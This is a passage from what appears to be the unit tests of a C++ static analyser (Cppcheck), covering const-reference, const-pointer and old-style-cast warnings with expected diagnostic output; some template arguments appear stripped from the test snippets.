{\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T&& x) {\\n\"\n \" return x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"T f(T& x) {\\n\"\n \" return x[0];\\n\"\n \"}\\n\"\n \"void h() { std::vector v; h(v); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int& x) {\\n\"\n \" return std::move(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::ostream& os) {\\n\"\n \" os << \\\"Hello\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(int& x) {\\n\"\n \" g(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { A(int*); };\\n\"\n \"A f(int& x) {\\n\"\n \" return A{&x};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& x, int& y) {\\n\"\n \" y++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" explicit A(int& y) : x(&y) {}\\n\"\n \" int * x = nullptr;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector v;\\n\"\n \" void swap(A& a) {\\n\"\n \" v.swap(a.v);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" template\\n\"\n \" void f();\\n\"\n \" template\\n\"\n \" void f() const;\\n\"\n \"};\\n\"\n \"void g(A& a) {\\n\"\n \" a.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto&& x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto x:v)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'x' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10980\n \" for (int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const int& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" for (const auto& i : v)\\n\"\n \" if (i == 0) {}\\n\"\n \" v.clear();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:6:16]: (style) Variable 'i' can be declared as reference to const [constVariableReference]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" for(const auto& x:v) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"void f(int& i) {\\n\"\n \" int& j = i;\\n\"\n \" j++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int& i = v[0];\\n\"\n \" i++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map >& m, unsigned int i) {\\n\"\n \" std::map& members = m[i];\\n\"\n \" members.clear();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int& x;\\n\"\n \" A(int& y) : x(y)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" A(int& x);\\n\"\n \"};\\n\"\n \"struct B : A {\\n\"\n \" B(int& x) : A(x)\\n\"\n \" {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b, int& x, int& y) {\\n\"\n \" auto& z = x;\\n\"\n \" auto& w = b ? y : z;\\n\"\n \" w = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"int& f(S& s) {\\n\"\n \" return s.i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int* f(std::list& x, unsigned int y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return &m;\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& f(std::list& x, int& y) {\\n\"\n \" for (int& m : x) {\\n\"\n \" if (m == y)\\n\"\n \" return m;\\n\"\n \" }\\n\"\n \" return y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool from_string(int& t, const std::string& s) {\\n\"\n \" std::istringstream iss(s);\\n\"\n \" return !(iss >> t).fail();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9710\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(int& i) const {\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a x;\\n\"\n \" x(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n //cast or assignment to a non-const reference should prevent the warning\n check(\"struct T { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const T& z = x;\\n\" // Make sure we find all assignments\n \" T& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = x\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = x;\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::type& y = x;\\n\" // we don't know if y is const or not\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = static_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x)\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = dynamic_cast(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = dynamic_cast(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U const * y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * const * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n TODO_ASSERT_EQUALS(\"can be const\", errout_str(), \"\"); //Currently taking the address is treated as a non-const operation when it should depend on what we do with it\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U const * const * * const y = dynamic_cast(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" my::fancy const * const * const y = dynamic_cast const * const * const>(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" const U& y = (typename const U&)(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:2:11]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\",\n errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U& y = (typename U&)(x);\\n\"\n \" y.mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n check(\"struct T : public U { void dostuff() const {}};\\n\"\n \"void a(T& x) {\\n\"\n \" x.dostuff();\\n\"\n \" U* y = (U*)(&x);\\n\"\n \" y->mutate();\\n\" // to avoid warnings that y can be const\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct C { void f() const; };\\n\" // #9875 - crash\n \"\\n\"\n \"void foo(C& x) {\\n\"\n \" x.f();\\n\"\n \" foo( static_cast(0) );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Parameter 'x' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"class a {\\n\"\n \" void foo(const int& i) const;\\n\"\n \" void operator()(int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class a {\\n\"\n \" void operator()(const int& i) const;\\n\"\n \"};\\n\"\n \"void f(int& i) {\\n\"\n \" a()(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'i' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n // #9767\n check(\"void fct1(MyClass& object) {\\n\"\n \" fct2([&](void){}, object);\\n\"\n \"}\\n\"\n \"bool fct2(std::function lambdaExpression, MyClass& object) {\\n\"\n \" object.modify();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9778\n check(\"struct A {};\\n\"\n \"struct B : A {};\\n\"\n \"B& f(A& x) {\\n\"\n \" return static_cast(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10002\n check(\"using A = int*;\\n\"\n \"void f(const A& x) {\\n\"\n \" ++(*x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10086\n check(\"struct V {\\n\"\n \" V& get(typename std::vector::size_type i) {\\n\"\n \" std::vector& arr = v;\\n\"\n \" return arr[i];\\n\"\n \" }\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void e();\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void ai(void);\\n\"\n \"void j(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void l(void);\\n\"\n \"void m(void);\\n\"\n \"void n(void);\\n\"\n \"void o(void);\\n\"\n \"void q(void);\\n\"\n \"void r(void);\\n\"\n \"void t(void);\\n\"\n \"void u(void);\\n\"\n \"void v(void);\\n\"\n \"void w(void);\\n\"\n \"void z(void);\\n\"\n \"void aj(void);\\n\"\n \"void am(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void ao(wchar_t *d);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void k(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void e(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void ap(wchar_t *c, int d);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void aq(char *b, size_t d, char *c, int a);\\n\"\n \"void ar(char *b, size_t d, char *c, va_list a);\\n\"\n \"void k(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void h(void);\\n\"\n \"void ah(void);\\n\"\n \"void an(void);\\n\"\n \"void k(void);\\n\"\n \"void k(void);\\n\"\n \"void e(void);\\n\"\n \"void g(void);\\n\"\n \"void g(void);\\n\"\n \"void as(std::string s);\\n\"\n \"void at(std::ifstream &f);\\n\"\n \"void au(std::istream &f);\\n\"\n \"void av(std::string &aa, std::wstring &ab);\\n\"\n \"void aw(bool b, double x, double y);\\n\"\n \"void ax(int i);\\n\"\n \"void ay(std::string c, std::wstring a);\\n\"\n \"void az(const std::locale &ac);\\n\"\n \"void an();\\n\"\n \"void ba(std::ifstream &f);\\n\"\n \"void bb(std::istream &f) {\\n\"\n \"f.read(NULL, 0);\\n\"\n \"}\\n\"\n \"void h(void) {\\n\"\n \"struct tm *tm = 0;\\n\"\n \"(void)std::asctime(tm);\\n\"\n \"(void)std::asctime(0);\\n\"\n \"}\\n\"\n \"void bc(size_t ae) {\\n\"\n \"wchar_t *ad = 0, *af = 0;\\n\"\n \"struct tm *ag = 0;\\n\"\n \"(void)std::wcsftime(ad, ae, af, ag);\\n\"\n \"(void)std::wcsftime(0, ae, 0, 0);\\n\"\n \"}\\n\"\n \"void k(void) {}\\n\"\n \"void bd(void);\\n\"\n \"void be(void);\\n\"\n \"void bf(int b);\\n\"\n \"void e(void);\\n\"\n \"void e(void);\\n\"\n \"void bg(wchar_t *p);\\n\"\n \"void bh(const std::list &ak, const std::list &al);\\n\"\n \"void ah();\\n\"\n \"void an();\\n\"\n \"void h();\");\n ASSERT_EQUALS(\"[test.cpp:131:12]: (style) Variable 'tm' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:136:19]: (style) Variable 'af' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:137:12]: (style) Variable 'ag' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&) noexcept;\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i) noexcept\\n\"\n \" : c(i)\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const int&);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(int, int);\\n\"\n \"};\\n\"\n \"\\n\"\n \"class D\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit D(int&);\\n\"\n \"\\n\"\n \"private:\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"\\n\"\n \"D::D(int& i)\\n\"\n \" : c(0, i)\\n\"\n \"{\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:16]: (style) Parameter 'i' can be declared as reference to const\\n\", \"\", errout_str());\n\n check(\"void f(std::map> &map) {\\n\" // #10266\n \" for (auto &[slave, panels] : map)\\n\"\n \" panels.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void f(); int i; };\\n\"\n \"void call_f(S& s) { (s.*(&S::f))(); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a[1]; };\\n\"\n \"void f(S& s) { int* p = s.a; *p = 0; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\" // #9910\n \" int* p{};\\n\"\n \" int* get() { return p; }\\n\"\n \" const int* get() const { return p; }\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" int j{};\\n\"\n \" void f(Foo& foo) const { int* q = foo.get(); *q = j; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10679\n \" void g(long L, const C*& PC) const;\\n\"\n \" void g(long L, C*& PC);\\n\"\n \"};\\n\"\n \"void f(S& s) {\\n\"\n \" C* PC{};\\n\"\n \" s.g(0, PC);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10785\n check(\"template \\n\"\n \"struct d {\\n\"\n \" T& g(C& c, T C::*f) { return c.*f; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::map& m) {\\n\"\n \" std::cout << m[0] << std::endl;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector>& v) {\\n\" // #11607\n \" for (auto& m : v)\\n\"\n \" std::cout << m[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\" // #11473\n \"void f(std::vector>&m, int*& p) {\\n\"\n \" auto& a = m[0];\\n\"\n \" for (auto& s : a) {\\n\"\n \" p = &s.i;\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g(int* p, int& r) {\\n\" // #11625\n \" if (p)\\n\"\n \" return *p;\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template void f(std::vector& d, const std::vector& s) {\\n\" // #11632\n \" for (const auto& e : s) {\\n\"\n \" T* newE = new T(*e);\\n\"\n \" d.push_back(newE);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11682\n check(\"struct b {\\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct c {\\n\"\n \" const b& get() const;\\n\"\n \" b get();\\n\"\n \"};\\n\"\n \"struct d {\\n\"\n \" void f(c& e) const {\\n\"\n \" e.get().mutate();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual void f() const {} };\\n\" // #11528\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" D* d = dynamic_cast(b);\\n\"\n \" if (d)\\n\"\n \" d->f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:8]: (style) Variable 'd' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" for (int* i : v)\\n\"\n \" g(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:15]: (style) Variable 'i' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct A {\\n\" // #11225\n \" A();\\n\"\n \" virtual ~A();\\n\"\n \"};\\n\"\n \"struct B : A {};\\n\"\n \"void f(A* a) {\\n\"\n \" const B* b = dynamic_cast(a);\\n\"\n \"}\\n\"\n \"void g(A* a) {\\n\"\n \" const B* b = (const B*)a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:18]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:6:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:9:11]: (style) Parameter 'a' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void g(int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const int*);\\n\"\n \"void f(std::vector& v) {\\n\"\n \" g(v.data());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Parameter 'v' can be declared as reference to const [constParameterReference]\\n\", errout_str());\n\n check(\"struct a {\\n\"\n \" template \\n\"\n \" void mutate();\\n\"\n \"};\\n\"\n \"struct b {};\\n\"\n \"template \\n\"\n \"void f(a& x) {\\n\"\n \" x.mutate();\\n\"\n \"}\\n\"\n \"template \\n\"\n \"void f(const b&)\\n\"\n \"{}\\n\"\n \"void g(a& c) { f(c); }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" template \\n\"\n \" T* g() {\\n\"\n \" return reinterpret_cast(m);\\n\"\n \" }\\n\"\n \" template \\n\"\n \" const T* g() const {\\n\"\n \" return 